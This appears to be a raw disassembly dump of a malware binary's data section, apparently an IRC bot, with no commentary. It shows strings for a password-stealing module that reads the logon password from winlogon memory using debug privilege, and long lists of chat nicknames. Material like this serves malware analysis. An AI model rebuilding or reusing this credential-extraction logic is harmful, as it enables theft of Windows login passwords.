aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437990	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A24	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A3C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B00	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B4C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		mov	al, ds:38004387h
		lodsb
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edi+eax*4-5587FFBDh], bl
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	ah, dl
		lodsb
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_438798
		dd offset dword_438794
		dd offset dword_438790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438780
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset word_438768
		dd offset dword_438764
		dd offset aI_0		; "I"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset aA_0		; "A"
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset dword_43872C
		dd offset dword_438728
		dd offset word_438724
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384BC
		dd offset off_4384B8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438324
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF0	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438780
		dd offset aC		; "c"
		dd offset aD		; "d"
		db  38h	; 8
		db 0ACh	; ¬
		db  42h	; B
		db    0
		db  98h	; ˜
		db  87h	; ‡
		db  43h	; C
		db    0
		db  94h	; ”
		db  87h	; ‡
		db  43h	; C
		db    0
		db  90h	; 
		db  87h	; ‡
		db  43h	; C
		db    0
		db 0D4h	; Ô
		db 0C2h	; Â
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		cld
		mov	ah, 42h
		add	[ebx+esi*4+42h], al
		add	[eax-39h], bl
		inc	edx
		add	[edi+eax*4-533BFFBDh], cl
		inc	edx
		add	[eax-4Dh], cl
		inc	edx
		add	al, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		mov	al, ds:84004387h
		xchg	eax, [ebx+0]
		pushf
		xchg	eax, [ebx+0]
		mov	[edi-7E83FFBDh], al
		inc	ebx
		add	[eax-7Fh], bh
		inc	ebx
		add	[ecx+eax*4+43h], dh
		add	[eax-7Fh], dh
		inc	ebx
		add	[ecx+eax*4+43h], ch
		add	[eax-7Fh], ch
		inc	ebx
		add	[ecx+eax*4+43h], ah
		add	[ecx+eax*4+43h], bl
		add	[ecx+eax*4+43h], dl
		add	[ecx+eax*4+43h], cl
		add	[ecx+eax*4+43h], al
		add	[eax-6BFFBC79h], cl
		xchg	eax, [ebx+0]
		fadd	st(2), st
		inc	edx
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset off_438140
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438750
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438780
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438734
		dd offset dword_43D128
		dd offset off_438100
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B4
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438090
		dd offset dword_43808C
		dd offset dword_438088
dword_438088	dd 7536h		; DATA XREF: ___:00438084o
dword_43808C	dd 7535h		; DATA XREF: ___:00438080o
dword_438090	dd 7C75347Ch, 0		; DATA XREF: ___:0043807Co
dword_438098	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438078o
dword_4380A0	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438074o
dword_4380A8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043806Co
dword_4380BC	dd 6C6F6Ch		; DATA XREF: ___:00438068o
dword_4380C0	dd 746F74h		; DATA XREF: ___:00438064o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438060o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043805Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438058o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438054o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438050o
aShit		db 'shit',0             ; DATA XREF: ___:0043804Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438048o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438044o
		align 10h
off_438100	dd offset word_594F42	; DATA XREF: ___:00438040o
aFree		db 'Free',0             ; DATA XREF: ___:0043802Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438028o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043801Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438010o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043800Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438008o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FECo
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE0o
		align 10h
off_438140	dd offset loc_425242	; DATA XREF: ___:00437FDCo
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 4
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 10h
aGf		db 'gf',0
		align 4
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F80o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F38o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F34o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F30o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F2Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F28o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F24o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F20o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F1Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F18o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F14o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F10o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F0Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F08o
aLag		db 'lag',0              ; DATA XREF: ___:00437F04o
aBad		db 'bad',0              ; DATA XREF: ___:00437F00o
aTree		db 'tree',0             ; DATA XREF: ___:00437EFCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437EF8o
aLez		db 'lez',0              ; DATA XREF: ___:00437EF4o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF0o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EECo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EE8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EE4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EDCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437ED8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437ED4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ECCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EC8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EC4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EBCo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EB8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EB4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EACo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EA8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EA4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437E9Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437E98o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E94o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E90o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E8Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437E88o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E84o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E80o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E7Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E78o
		align 4
off_438324	dd offset byte_4B5245	; DATA XREF: ___:00437E74o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E70o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E6Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E68o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E64o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E60o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E5Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E58o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E54o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E50o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E4Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E48o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E44o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E40o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E3Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E38o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E34o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E30o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E2Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E28o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E24o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E20o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E1Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E18o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E14o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E10o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E0Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E08o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E04o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E00o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437DFCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437DF8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DF4o
aArda		db 'arda',0             ; DATA XREF: ___:00437DF0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437DECo
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DE8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DE4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DDCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DD8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DD4o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD0o
		align 4
off_4384B8	dd offset byte_457441	; DATA XREF: ___:00437DCCo
dword_4384BC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DC8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DC4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DBCo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DB8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DB4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DACo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DA8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DA4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437D9Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00437D98o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D94o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D90o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D8Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D88o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D84o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D80o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D7Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D78o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D74o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D70o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D6Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D68o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D64o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D60o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D5Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D58o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D54o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D50o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D4Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D48o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D44o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D40o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D3Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D38o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D34o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D30o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D2Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D28o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D24o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D20o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D1Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D18o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D14o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D10o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D0Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D08o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D04o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D00o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437CFCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437CF8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CF4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF0o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437CECo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437CE8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CE4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE0o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437CDCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437CD8o
		align 10h
